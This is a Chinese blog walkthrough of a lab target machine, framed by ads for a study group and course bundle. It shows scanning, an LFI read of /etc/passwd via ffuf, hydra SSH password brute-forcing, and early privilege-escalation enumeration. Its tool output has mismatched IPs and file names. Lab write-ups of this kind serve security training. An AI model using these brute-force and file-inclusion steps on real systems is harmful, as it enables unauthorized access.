网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
①:信息收集:
kali
里使用arp-scan -l
或者netdiscover
发现主机
渗透机:kali IP :192.168.8.101 靶机IP :192.168.8.178
使用命令:
nmap -sS -sV -n -T4 -p- 192.168.8.178
开启了22,80
端口访问80
,老样子扫描一下后台使用工具dirb,dirsearch,gobuster
都没啥信息
这里看到一个超链接,点进去一张地图 既然后台扫不出那就换个思路找这个地图的信息 找到了md5
②:漏洞发现:
这里提示的是目录是md5
加密的,所以需要生成一个加密的md5
字典 使用命令:
for i in $(cat /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt); do echo $i | md5sum >> dir.txt; done
然后需要把全部的 -
替换为 空格 然后在扫应该就能扫到目录了
gobuster dir -u http://192.168.8.178 -w dir.txt -x php,html,txt,png,jpg,jpeg,css,js -b 403,404 -t 35
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.8.178
[+] Method: GET
[+] Threads: 35
[+] Wordlist: DIRMD5.txt
[+] Negative Status codes: 403,404
[+] User Agent: gobuster/3.5
[+] Extensions: txt,png,jpg,jpeg,css,js,php,html
[+] Timeout: 10s
===============================================================
2023/08/17 00:22:36 Starting gobuster in directory enumeration mode
===============================================================
/f66b22bf020334b04c7d0d3eb5010391.php (Status: 200) [Size: 0]
Progress: 1978235 / 1985049 (99.66%)
===============================================================
2023/09/20 23:00:00 Finished
===============================================================
扫到了f66b22bf020334b04c7d0d3eb5010391.php
进行访问,发现空白页
尝试一下ffuf
模糊探测 得到:purpose
ffuf -c -u http://192.168.8.178/f66b22bf020334b04c7d0d3eb5010391.php?FUZZ=/etc/passwd -w /usr/share/wordlists/rockyou.txt -fs 0
③:LFI漏洞利用(本地文件包含漏洞):
这里检测一下 发现有个权限比较高得freddie
用户 使用刚刚得md5
字典进行爆破SSH
密码
hydra -l freddie -P dirmd5.txt ssh://192.168.8.178 -t 20
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these \*\*\* ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-09-20 23:22:34
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 220560 login tries (l:1/p:220560), ~13785 tries per task
[DATA] attacking ssh://192.168.1.49:22/
[STATUS] 142.00 tries/min, 142 tries in 00:01h, 220420 to do in 25:53h, 14 active
[STATUS] 98.67 tries/min, 296 tries in 00:03h, 220266 to do in 37:13h, 14 active
[STATUS] 92.29 tries/min, 646 tries in 00:07h, 219916 to do in 39:43h, 14 active
[STATUS] 2.39 tries/min, 675 tries in 04:42h, 219887 to do in 1535:47h, 14 active
[STATUS] 7.03 tries/min, 2101 tries in 04:58h, 218461 to do in 517:57h, 14 active
[22][ssh] host: 192.168.1.49 login: freddie password: 61a4e3e60c063d1e472dd780f64e6cad
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 2 final worker threads did not complete until end.
[ERROR] 2 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-09-20 23:24:23
得到密码为:61a4e3e60c063d1e472dd780f64e6cad
④:SSH登入:
ssh freddie@192.168.8.178
先拿到个flag
⑤:提权:
又到了提权阶段了 sudo -l
和find / -perm -u=s -type f 2>/dev/null
都没有可以利用的信息。
ss -tulpn
查看用户开放发那些端口这里发现 开启了445 SMB
服务 文件共享
smbclient -L 127.0.0.1
登入发现了一个grotesque
的文件,没有可以利用的信息。
这个时候可以上传一个pspy64
看看说不定有什么定时任务呢 🆗 我们继续信息收集一波!
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上软件测试知识点,真正体系化!
由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新
涵盖了95%以上软件测试知识点,真正体系化!**
由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新